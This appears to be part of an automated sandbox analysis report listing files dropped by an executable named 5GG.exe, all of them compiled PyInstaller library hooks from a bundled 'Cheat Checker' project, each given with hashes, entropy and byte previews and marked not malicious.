SHA-512:	48FEB3E9BE08407515B56D939698F402649EE38967A9A3202B5E04EC76A4DF8371315DCBE916643419F484F79045A7E85A4460432DE98023A8E532678A43C4D9
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dash_core_componentsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dash_core_components.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dash_html_components.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1905880824067125
Encrypted:	false
SSDEEP:	6:y/qQPe9zsPxNARFN/6h6UXLAlcJVDHSC5EgTdArQfVOX9rFMow6FAZI6r:CReGPx0/6zXxDHS6EgJ9OX9rGt6r6r
MD5:	B2400111EF150714439E25C3368E1DD6
SHA1:	27811593C059D0881320FB126707D849EC65C777
SHA-256:	43A7C73816DEE81BE8AEC05D39DC0B81CC0550DA03CA0FE456CF8C23CFB30AEF
SHA-512:	F22417E6B00CAF6FAF1CB830BCDFAE14B4F8371D10318CA16448D2B193387793ADCCC4BA069F712815CC50E00C153546391A8866839A6C7CA2D35C60B69DA140
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dash_html_componentsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dash_html_components.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dash_renderer.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.173400524358024
Encrypted:	false
SSDEEP:	6:y/qQRae9zsPxNARQXLAlcJnBMDHSC5EgTdArQfVOX9rFMom6r:CvaeGPxvXxFBSHS6EgJ9OX9rGj6r
MD5:	DD448396B9C95EF3EDDB38A8B65308C4
SHA1:	877646EAF67B836162A3CE5DB5BCD20A6CA12DE2
SHA-256:	AA41C985EDB380B85E1BB5571495A68851555A7230F52BF52932472A2653DFE4
SHA-512:	0C6902E2146C3A5A5E5812518CF23813B010787A8065FC116601AFFDCCD755CFB40313F191BA14F6611B32420330CBD1037CF3865AAD3B715E09F87A353712F2
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dash_rendererN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dash_renderer.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dash_table.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.191690536088484
Encrypted:	false
SSDEEP:	6:y/qQJe9zsPxNAR3Nsn6UXLAlcJseDHSC5EgTdArQfVOX9rFMoiI6r:CXeGPxCNU6UXxlHS6EgJ9OX9rGM6r
MD5:	C3480111D39AEAE7C0655CC3AF6BDF62
SHA1:	ACC3770AE941DC10886640F33AD73DA39D71EA0F
SHA-256:	24FBF08F3705A3D726C971C556F9487D8F21F65F433521AAAEAC9FF01604BC5C
SHA-512:	96007DF2FAB80C83FE13169E415D7371E7E7CF8ED293F87B692164781B76BE47BC6557736F85C44A710D2617E332F45D60A5B1479153322F4A1A514D6C56150C
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dash_tableN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dash_table.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dash_uploader.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.19047210430214
Encrypted:	false
SSDEEP:	6:y/qQRae9zsPxNARb5XLAlcJnBMDHSC5EgTdArQfVOX9rFMogU6r:CvaeGPxs5XxFBSHS6EgJ9OX9rGy6r
MD5:	D7F7A1C1C5428D2EEC2378A39B902A7F
SHA1:	555E1DE298EB4B6FA46EC7246E5D9B4C7892649A
SHA-256:	F70095796D235BC91FF59B767203D8AA1D12CF1A25AF335D3933D7C3AE14D6C4
SHA-512:	F81AF4BDC7F39BB0738EBA1A1BC1676018F14AD87AD5FC5AF19BAC9F8C40EF7F1AD0DDCCC679BA7F0E7910FDC661095ACA2299FE71E96BB4A88C15DEB704562B
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dash_uploaderN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dash_uploader.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dask.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	5.363054380953218
Encrypted:	false
SSDEEP:	12:CeaYABSVnFWC5si2AsfQSfmt1J8XxtWsHS6EgJ9OX9rGz2g:tnPsi2AZSfpxxEI4w
MD5:	BF4E3BC78F9D5505BC614B12CAF7D9CF
SHA1:	16B5726DF8C70713DFC11B74554851A5778B30BC
SHA-256:	C7AFF487D0BB59B97424D2098C15CD17011CAACD22E2CE561E5A044C63E1D7D3
SHA-512:	7A151ACC7043BEC84F8AAE61AD99356A0CDE42BF5E8770F2C71E11410EB8F118CAE2AAB431C7CA25A86758A5105BA43BD6CFCC96FEE02060116DB3C0B5896106
Malicious:	false
Preview:	o.........e.........................@...s$...d.Z.d.d.l.m.Z...e.d.d.d.g.d...Z.d.S.).z=.Collects in-repo dask.yaml and dask-schema.yaml data files.......)...collect_data_filesZ.daskz..ymlz..yaml).Z.includesN)...__doc__Z.PyInstaller.utils.hooksr....Z.datas..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dask.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-datasets.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.085778683874391
Encrypted:	false
SSDEEP:	6:y/qQ1CqetGCoPYwjuDHSC5EgTdArQfVOX9rFMowZIh:CmqeUQi4HS6EgJ9OX9rG+h
MD5:	DD621CD1348B6B94C3E33603406923D1
SHA1:	02D091CF75E87B63A600773800A75E5F8437B32E
SHA-256:	2638035E26D859435B8596541DB36A459B83E7D71E02EF7370B932AD0C3F3584
SHA-512:	93A0E1D6E97D2D0334725C7A85212F853299FEF61CD93600927E982F7AA9A83E482AFC0125CF07F1F9CF1860BF235C7855E47711A8584A9F4BD761F919937D24
Malicious:	false
Preview:	o.........e5........................@...s....d.Z.d.S.).z.pyz+pyN).Z.module_collection_mode..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-datasets.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dateparser.utils.strptime.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.211918237738962
Encrypted:	false
SSDEEP:	6:y/qQ6K//7zs/Qeh2lhMlN2zrqRWTsXLAlIM1eDHSC5EgTdArQfVOX9rFMo9WhaIQ:C5//74oeglhYurqbXFAoHS6EgJ9OX9rn
MD5:	E7C1A3656E461A4F4AFE8EA31BA406AE
SHA1:	9E3E8481D225688786FAA2DD981EA23A237DDC2B
SHA-256:	A6B22C10ABE6A4EBE41022B6427A2E056F00A35805AB6409D08B3823DC23938D
SHA-512:	BC3CA8434AE8C709D606BD60F0811BB83D4E10DEB6C62CFA661F7D124F7A5027021A5F025CB81374C717995D74A40755149AAC709A2F46A748390EAAF6E6C267
Malicious:	false
Preview:	o.........eh........................@...s....d.d.l.m.Z...d.g.e.d.....Z.d.S.)......)...collect_submodulesZ._strptimez.dateparser.dataN).Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dateparser.utils.strptime.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dclab.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.2179269809028765
Encrypted:	false
SSDEEP:	6:y/qQie9zsPxNARPaXLAlcJWDHSC5EgTdArQfVOX9rFMoZuKDI6p:CIeGPx5XxeHS6EgJ9OX9rGYI6p
MD5:	A8AD7C3FC3B6CDDEC143606E7990E9BB
SHA1:	10D95C811D6048C09E0007F8E90A91A85F105BB8
SHA-256:	047AD3E7098349AD0E136D0D14DF2081BAFEA90E8F84EAE472FA85D9B17B58D0
SHA-512:	2E3B43790933D0708D1D8C1120A7BCA4F882E1E4B3F87B5CEA5395A7051B9C83057297B3DA26405F7C2C2BF0121FEDC17B9B68A4BF99A8BAA721A81C5923AB84
Malicious:	false
Preview:	o.........e?........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.dclabN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....w...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dclab.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-detectron2.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	253
Entropy (8bit):	5.109782422304784
Encrypted:	false
SSDEEP:	6:y/qQ1CqetGCoPYwjBeDHSC5EgTdArQfVOX9rFMo9yLYrIh:CmqeUQiyHS6EgJ9OX9rGVkrIh
MD5:	F844F0942FABBEC194E594517E15A046
SHA1:	5E938E653EEC5757E1A79847A27B083AB1036E82
SHA-256:	C6DB3F2A7529FEE626433ED669E5622D5B23BDDEE7E200838D05D16D8C70211D
SHA-512:	D276C3E883CD53BF71C4D2B53B561E5CCECE2836015F472E6A0422E939D9FB26642DF694F921504A4523157E5CCB22D84248B8120350E396D26F9B1C5667F391
Malicious:	false
Preview:	o.........e5........................@...s....d.Z.d.S.).z.pyz+pyN).Z.module_collection_mode..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-detectron2.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-discid.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.626878891938475
Encrypted:	false
SSDEEP:	24:wnuFqW+bMpqAI7IWbKPAKq+nbQBZ2EI45VI:wnaAbMktzbKPAA4s
MD5:	B7BEAA69F0139B19C41D27142BD51C0D
SHA1:	A2C9F0F181EC624CF1DC90F4CA726CA4F34855A8
SHA-256:	3D378F9F449EE77833CA7305A6F6D4CB578973D2D98502554E46BC1A45502357
SHA-512:	71DFBDA64B44E64E5B57423B14A6E87FF4C99191A1FAA4E4E04A646F0DBB5640018E009B9CC03AB7E5B2691BE8D2CB05520259D00E74E2159F4E8696616BB1D9
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...g.Z.z.e.d.d...Z.W.n...e.y&......d.Z.Y.n.w.e.ree.j...e...Z.z.e.e.g...Z.e.d...d...Z.W.n...e.yW..Z...z.d.Z.e...d.e.e.....W.Y.d.Z.[.n.d.Z.[.w.w.e.rce.e.d.f.g.7.Z.d.S.d.S.e...d.....d.S.)......N)...get_module_attribute..logger)..._resolveCtypesImportsz.discid.libdiscidZ._LIB_NAME.....z$Error while trying to resolve %s: %s...zbFailed to determine name of libdiscid shared library from _LIB_NAME attribute of discid.libdiscid!)...osZ.PyInstaller.utils.hooksr....r....Z.PyInstaller.depend.utilsr....Z.binariesZ.lib_name..Exception..path..basenameZ.resolved_binaryZ.lib_file..e..warning..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-discid.py..<module>....s..................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-distorm3.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.283599798288442
Encrypted:	false
SSDEEP:	6:y/qQn/Y5/Qlj9b+NRtXLAlkeWuDHSC5EgTdArQfVOX9rFMofZ6im:C5/YhQlRb+NvXIW4HS6EgJ9OX9rGC6F
MD5:	4C2F15F07F520EFCA6EC40B10FC127D7
SHA1:	4FC8AB5A92622BE79FACD36B2F17779024162E41
SHA-256:	B9551A1C2F0710F345C0F008D14DD9927537554F2CF5C6706B51A4ADDC15B8FB
SHA-512:	0B2F484C355B7D89E341A135636C53AF411A5EA043DEED2553241C0FDC368EE13C9B8D6788140E92B3F18AAD5FCA5FF61867CF7D4B219B4F33B7FAA1A8A36E25
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d.d.d...Z.d.S.)......)...collect_dynamic_libsZ.distorm3...).Z.destdirN).Z.PyInstaller.utils.hooksr....Z.binaries..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-distorm3.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dns.rdata.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.210827583813573
Encrypted:	false
SSDEEP:	6:y/qQJae9zsPxNdWMsXLAlIM/jkDHSC5EgTdArQfVOX9rFMo/Eikt26p:C3aeGPx/YXFQ+HS6EgJ9OX9rGOJk26p
MD5:	A64CB6985B1C412DB77BAA9B9520FFB1
SHA1:	51897EAD83D196E388AF92CF3959AE9FBCA1847C
SHA-256:	9876C89974DF69F170F3C9991CD0215CA1FE90C8961EDE23BEA606E8068DBD97
SHA-512:	64BF720C655F7BBE8ECFF88D375E79472227F6CB097ABE20C56EAC35CA375F34B1435DEC4FD635B279AEF2A47A0D6398794E0D40491359A309AACB4039389D75
Malicious:	false
Preview:	o.........eI........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_submodulesz.dns.rdtypesN).Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dns.rdata.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-docutils.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	504
Entropy (8bit):	5.327523510523958
Encrypted:	false
SSDEEP:	12:Cqtq0JTWuidQfLK6vL65BXBW4HS6EgJ9OX9rGuX2P:TxJadd6TexEI4Y
MD5:	8FB12ABAC31A408FCB8AF3CE60AF8D5D
SHA1:	CE14B05F0BE2E722476865F16B40BD8BD1F1834E
SHA-256:	E05C77ADFB81BC7EC19658356D16E84CD30A753EBB94BB8F190A8D1CEA76B004
SHA-512:	02C185EA6B38EA6F2A673A7280006D01C4A132EDBF53234E1787ED74156C604D49AFEC0029C5B066B84EF74CDF839C5D8E0DFD2B0CAFC36FEB2D08BE3C27B57D
Malicious:	false
Preview:	o.........e&........................@...s<...d.d.l.m.Z.m.Z...e.d...e.d.....e.d.....e.d.....Z.e.d...Z.d.S.)......)...collect_submodules..collect_data_filesz.docutils.languagesz.docutils.writersz.docutils.parsers.rst.languagesz.docutils.parsers.rst.directivesZ.docutilsN).Z.PyInstaller.utils.hooksr....r....Z.hiddenimportsZ.datas..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-docutils.py..<module>....s......................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-docx.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.202188149335141
Encrypted:	false
SSDEEP:	6:y/qQfe9zsPxNARHF5XLAlcJ2eDHSC5EgTdArQfVOX9rFMosaI6r:CBeGPx6F5XxzHS6EgJ9OX9rGlaI6r
MD5:	0E5AF93E49E0122548FBBDD3E1A902AC
SHA1:	2839051576ECA605412949312859E93A28B4A0B8
SHA-256:	F86DDAF3CD0FB74D784732205924626464A54451E2C689813E13B6D0284FB90D
SHA-512:	4E24B1E7693A5949FE389F31E95B90BB8C742D7DA7C8C09AD5DB83605EC4827B286CC6C7680E0D039A8233AA4FE9AED5E539D2C718C06E97FD1C00EE6D0099EF
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.docxN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-docx.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-docx2pdf.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.291276671178642
Encrypted:	false
SSDEEP:	6:y/qQqa/WZvhUmhtWOCz6ARRaXLAlXJ/WuDHSC5EgTdArQfVOX9rFMoIn4w:Cx/WPhtWOcaXGW4HS6EgJ9OX9rGBn9
MD5:	53C5BD3C7E90ED66791D84F9AF50A837
SHA1:	79BF886D0C2035332570E09308482C88242D6C58
SHA-256:	B3DA6DECF8ECD8E8798C432E730711F3E109B0FB0E329F487208D1B8F027D149
SHA-512:	4283AE06FD60D64CF99EB0AA1F0BCFEB963E790AC1DBACC5AE061BCE3C6AF73B2E86A6BDC06C62426412435404AB918BE2BFEB51E3B4F0F52ABBAF1662B4E839
Malicious:	false
Preview:	o.........ex........................@...s(...d.d.l.m.Z.m.Z...e.d...Z.e.e.d...7.Z.d.S.)......)...copy_metadata..collect_data_filesZ.docx2pdfN).Z.PyInstaller.utils.hooksr....r....Z.datas..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-docx2pdf.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-dynaconf.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.134933219255913
Encrypted:	false
SSDEEP:	6:y/qQBaepQylZ3px9fBMK3pxQkyK3pxIgLJGNGjuDHSC5EgTdArQfVOX9rFMomOcs:C/ae62tp3pMK3pXyK3pHQ64HS6EgJ9OT
MD5:	464A3EB1A4B398992249CD45B8C9413E
SHA1:	C7F32B9C47E90E30DDE779878C76CEB8673541A1
SHA-256:	000239DF9B5EB8878B3FEB2491E4B57B9C0E181F30F12364DEC0A8048ACC1BB4
SHA-512:	83526ABD52E168E77007AEF433FD15BFA2E00D9147DBCA1191565D2214B5D7EC8C72190860D48A02EF24BA80BAEB0EA182B3F061DBA9FC03CDD42E9A4EA050F0
Malicious:	false
Preview:	o.........eA........................@...s....g.d...Z.d.S.).).z.dynaconf.loaders.env_loaderz.dynaconf.loaders.redis_loaderz.dynaconf.loaders.vault.loaderN).Z.hiddenimports..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-dynaconf.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-easyocr.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	5.181066459136931
Encrypted:	false
SSDEEP:	24:ThGuKzKkGIG/G6g8qxoEI4EABSkDkRyqF8tON:Fj+2qx+4ERkD7Y0ON
MD5:	8423394731636B60389602974CA3AB99
SHA1:	93AD021113C0AE975ACD08BE8FE5934B66E93BE1
SHA-256:	D14E9D2F56D28441DDA7619F0E189C6EF5724CBBF16B8F4413E7BA3FB8F8A367
SHA-512:	90787B3D754EDF4320DE64EABF3E7F188F752356CA6819E89BFC457D189ED744373D73078C00FBC72A43440C824D909F473D996F557C95B4C5F258798A947F37
Malicious:	false
Preview:	o.........e.........................@...s$...d.d.l.m.Z.m.Z...d.d.g.Z.d.d...Z.d.S.)......)...collect_data_files..get_hook_configz.easyocr.model.vgg_modelz.easyocr.model.modelc....................C...sf...t.\|.d.d...}.\|.s.d.g.}.t...}.\|.t.d.d.d.d.d...\|.D...d...7.}.\|.t.d.d.d.d.d...\|.D...d...7.}.\|...\|.....d.S.).NZ.easyocr..lang_codes..*F..characterc....................S........g.\|.].}.\|...d.....q.S.).z._char.txt.......0Z.lang_coder....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-easyocr.py..<listcomp>...........z.hook.<locals>.<listcomp>).Z.include_py_files..subdirZ.includes..dictc....................S...r....).z..txtr....r....r....r....r....r........r....).r......listr....Z.add_datas).Z.hook_apir....Z.extra_datasr....r....r......hook....s..........................r....N).Z.PyInstaller.utils.hooksr....r....Z.hiddenimportsr....r....r....r....r......<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-eel.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.241551211940719
Encrypted:	false
SSDEEP:	6:y/qQGK/e7zsTgl6lNARS/NKY6CdJKXLAlcJwjjkDHSC5EgTdArQfVOX9rFMo9Ikw:Ct/e74TgYTlKY6IsXxiiHS6EgJ9OX9r2
MD5:	E2913A2996FD327F623C0D061F883467
SHA1:	D0E69A4BC930CA270ED7FF380E570D9571567F2E
SHA-256:	8915B5E04A19A368A11BA82A7FA0FAB5941652BA897B694D82E3BB8F4B24BCFC
SHA-512:	ABFE80DA35A3283F6D2DA4EFDED4A49B127C4BB8C83D20CD067F2DD2D5A51498014D5BC262E648218198D35BB4913C4368A904552DAA7E227C0E54B82857A479
Malicious:	false
Preview:	o.........e,........................@...s....d.d.l.m.Z...e.d...Z.d.g.Z.d.S.)......)...collect_data_filesZ.eelZ.bottle_websocketN).Z.PyInstaller.utils.hooksr....Z.datasZ.hiddenimports..r....r.....u...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-eel.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-enchant.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	5.630160592405913
Encrypted:	false
SSDEEP:	24:ltcVJM+LFlFliME1aYc8tIjx7GoEI4rhw+qXJGlnJOkERkRWGWn:ltyJXJliMExc+IjlG+4rWLXJGlJGRYRW
MD5:	D0675F0F53C8714D581699CCD848935D
SHA1:	130982603C4C89211A3B0D692008264EFFE2FF1A
SHA-256:	903FC5915D02D36F4BAA3F6BE0273044EDC1115DB810C63F5071C1A15C196DD7
SHA-512:	FA5501F5A9D28BA5DFC234CF7A3C3CE479E98B1D1C825C9733F7138DC55DD4352EFAF92883545ECE8C7FFEBBB5D8B601BF65D621B9C90C4B0C3C6DC5841E8600
Malicious:	false
Preview:	o.........e+........................@...s&...d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d...Z.e.d...Z.d.g.Z.e.r.e.d.......Z.e.d...Z.e.d.k.r.e...e.d.f.....e.d...........Z.e...d.d...e.D.......e.j...e...Z.e.j...e.j...e...d...Z.e.j...e.j...e.d.....rte...e.j...e.d...d.f.....e.j...e.j...e.d.....r.e...e.j...e.d...d.f.....d.S.d.S.d.S.d.S.).z:.Import hook for PyEnchant...Tested with PyEnchant 1.6.6.......N)...is_darwin)...exec_statement..collect_data_files..collect_dynamic_libs..get_installerZ.enchantz.enchant.testszC. from enchant._enchant import e. print(e._name). ..pip...z}. from enchant import Broker. for provider in Broker().describe():. print(provider.file)c....................C...s....g.\|.].}.\|.d.f...q.S.).z.enchant/lib/enchant..)....0..br....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-enchant.py..<listcomp>8...s......r......sharez.enchant/share/encha

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-eng_to_ipa.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.212102438220896
Encrypted:	false
SSDEEP:	6:y/qQJe9zsPxNARebU3UXLAlcJseDHSC5EgTdArQfVOX9rFMopCsUiVcU6r:CXeGPx1U3UXxlHS6EgJ9OX9rGwCsUiVk
MD5:	8994A8E3DC342D86FF71461D0DD9BB3D
SHA1:	299C6B62910F5C1A4E6EDB8A17E9A3C563588EFF
SHA-256:	09D74A797FD1840BC60C538BA9074C0365FC050BCA0692816A3A3831D60DDF9F
SHA-512:	165B207D550E99CCD7D71634E220D88AB707E6DF68671534B9124DA789893DA9EC74AF9D7C89052F47516D879FC09A9AF7A268ABC60DE5FCC0FAD3CEB11CF174
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.eng_to_ipaN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-eng_to_ipa.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-ens.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.179249762841046
Encrypted:	false
SSDEEP:	6:y/qQHae9zsPxNARgXLAlcJ3jkDHSC5EgTdArQfVOX9rFMopWL2/rI6r:CweGPxjXxAHS6EgJ9OX9rGwWLYc6r
MD5:	9DDEE247E0DB9F0EF57E7FEBCBDF38DD
SHA1:	80E0EFA6BA8C2BE275A7B9E820A1713679BE843B
SHA-256:	5DE30D0D3C43D3CCDBE62B710618C01F586A8DC1D0EF81E182B34610E3C2ADE0
SHA-512:	0789FEF39EDF483E5A61CE76466E467C57EBB186A155669E16BC0C1CCDB01EAFD7891B623AC3E217A3ABD8EC7F8346140334C2C2F5F526B31697541D45CD89FB
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.ensN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....u...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-ens.py..<module>....s........

